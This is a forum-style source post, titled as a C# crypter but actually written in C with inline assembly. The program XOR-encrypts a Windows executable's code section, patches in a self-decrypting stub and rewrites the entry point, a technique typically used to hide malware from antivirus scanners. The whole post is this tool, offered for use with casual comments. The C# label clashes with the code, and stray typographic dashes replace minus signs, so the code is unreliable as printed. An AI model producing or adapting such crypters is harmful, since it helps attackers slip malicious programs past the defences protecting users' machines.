[Source] C# Crypter

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#pragma comment(linker, "/OPT:NOREF") // this tells the linker to keep the machine code of unreferenced source code
#pragma optimize("", off) // disable all optimizations in order for our stub to run smootly, though im not sure if it really helps, i just saw some guy doing it this way lolz :)

#include <windows.h> // familiar?
#include <stdio.h> // i wonder what this might be, hmm…

// gets the first sections header offset
#define SECHDROFFSET(a) ((LPVOID) ( (LPBYTE) a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew + \
sizeof(IMAGE_NT_HEADERS)))

// those are the offsets to the
#define OEP_o 21 // original entry point
#define SEG_o 11 // virtual address of section
#define BSZ_o 1 // block size, must be a multiple of 8
#define SZ_o 6 // section size, must be a multiple of the chosen block size
// values in the stub

// a simple block xor
// every byte in the given block is XOR’ed with its index
void _xor_block(unsigned char *pblock, unsigned int blocksize)
{
unsigned int i;

for(i = 0; i < blocksize; i++)
pblock[i] ^= i;

return;
}

// just a wrapper around the above function
int _xor_chunk(unsigned char* pchunk, unsigned long chunksize, unsigned int blocksize)
{
if(chunksize % blocksize || blocksize % 8)
return -1;

unsigned long index = 0;

while(index < chunksize)
{
_xor_block(pchunk + index, blocksize);
index += blocksize;
}

return 0;
}

// this is our stub and the new entry point for the encrypted PE
__declspec(naked) void __stdcall _stub(void)
{
__asm
{
push 0xFEFEFEFE //blocksize
push 0xFDFDFDFD //chunksize
push 0xFCFCFCFC //pchunk

call _xor_chunk //decrypt

mov eax, 0x7FFFFFFF //oep
jmp eax //go go
}
}

// a placeholder, used for stub size calculation
__declspec(naked) int _end(void)
{
__asm ret 8
}

// so basicly the ASM code of the above 3 (w/o _end) functions will be added to the end of the ".text" section
// after updating the proper values in the stub, ofc
// then the PE header is updated along with the section header
// and with the entry point at _stub’s code its all done! wow that was easy oO

// GO GO POWER RANGERS!!!
int main(void)
{
// im not going to lecture you about those, if you are not familiar with these structures, you should go read about PE format…
PIMAGE_DOS_HEADER pDosH;
PIMAGE_NT_HEADERS pNtH;
PIMAGE_SECTION_HEADER pSecH;

// variables
HANDLE hFile;

DWORD dwFileSize, dwSectionSize, dwStubSize,
dwVSize, dwOldProt, dwSpot, dwGap, bytes;

LPBYTE FileBuffer, SectionBuffer;
CHAR FileName[MAX_PATH];

// get the filename to encrypt
printf("File to encrypt: ");
scanf("%s", &FileName);

// open it and get the size
hFile = CreateFile(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
dwFileSize = GetFileSize(hFile, 0);

// load in memory
FileBuffer = (LPBYTE) malloc(dwFileSize);
ReadFile(hFile, FileBuffer, dwFileSize, &bytes, 0);

pDosH = (PIMAGE_DOS_HEADER) FileBuffer;

// check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA’s and see if they are valid
if(pDosH->e_magic != IMAGE_DOS_SIGNATURE)
return -1;

pNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH->e_lfanew);

if(pNtH->Signature != IMAGE_NT_SIGNATURE)
return -2;

pSecH = (PIMAGE_SECTION_HEADER) SECHDROFFSET(FileBuffer);

while(memcmp(pSecH->Name, ".text", 5)) // get the ".text" section header
pSecH++;

dwVSize = pSecH->Misc.VirtualSize; // the virtual size of the section, later this will be used as chunksize in our stub, after proper alignment
dwSectionSize = pSecH->SizeOfRawData; // speaks for itself
dwStubSize = (DWORD) _end – (DWORD) _xor_block; // the stubsize, in bytes

SectionBuffer = (LPBYTE) malloc(dwSectionSize); // allocate memory enough to hold our raw section data
memcpy(SectionBuffer, FileBuffer + pSecH->PointerToRawData, dwSectionSize); // … copy the data

_xor_chunk(SectionBuffer, dwSectionSize, 256); // aaand encrypt it! you can use different block sizes here – 8, 16, 32, 64, 128, 256, 512…
memset(SectionBuffer + pSecH->Misc.VirtualSize, 0, (dwSectionSize – pSecH->Misc.VirtualSize)); // fill with zeros after the end of actual data

dwSpot = pSecH->Misc.VirtualSize; // this will be the offset (relative to the beginning of the section) where we will place our stub

while(dwSpot % 16) // align it to 16 byte boundary
dwSpot++;

dwSpot += 256; // this is in order to prevent the stub from corruption by overwriting its own code, since we will place it after the end of the section data
dwGap = dwSpot – pSecH->Misc.VirtualSize; // the gap between our stub and the end of the data

DWORD oep = pNtH->OptionalHeader.AddressOfEntryPoint + pNtH->OptionalHeader.ImageBase; // the original entry point, this is a linear address
DWORD seg = pSecH->VirtualAddress + pNtH->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one
DWORD bsz = 256; // you know what this is

while(dwVSize % bsz) // we need to align it to block size
dwVSize++;

VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub…

// and update it, blah, blah, blah…
memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4);
memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4);
memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4);
memcpy((void *)((unsigned long) _stub + SZ_o), &dwVSize, 4);

memcpy(SectionBuffer + dwSpot, _xor_block, dwStubSize); // place the damn thing already!

pSecH->Characteristics = 0xE0000060; // R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W…
pSecH->Misc.VirtualSize += dwStubSize + dwGap; // update the virtual size of the section
pNtH->OptionalHeader.AddressOfEntryPoint = pSecH->VirtualAddress + dwSpot + ( (DWORD)_stub – (DWORD)_xor_block ) ;

// and finally update the file
SetFilePointer(hFile, pSecH->PointerToRawData, 0, FILE_BEGIN); //new section data
WriteFile(hFile, SectionBuffer, dwSectionSize, &bytes, 0);

SetFilePointer(hFile, pDosH->e_lfanew, 0, FILE_BEGIN); //new PE header
WriteFile(hFile, pNtH, sizeof(IMAGE_NT_HEADERS), &bytes, 0);

SetFilePointer(hFile, ((DWORD) pSecH – (DWORD) FileBuffer), 0, FILE_BEGIN); //new section header
WriteFile(hFile, pSecH, sizeof(IMAGE_SECTION_HEADER), &bytes, 0);

// some good habits :)
CloseHandle(hFile);

free(FileBuffer);
free(SectionBuffer);

return 0;
}

// bye, bye, EOF
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c#crypter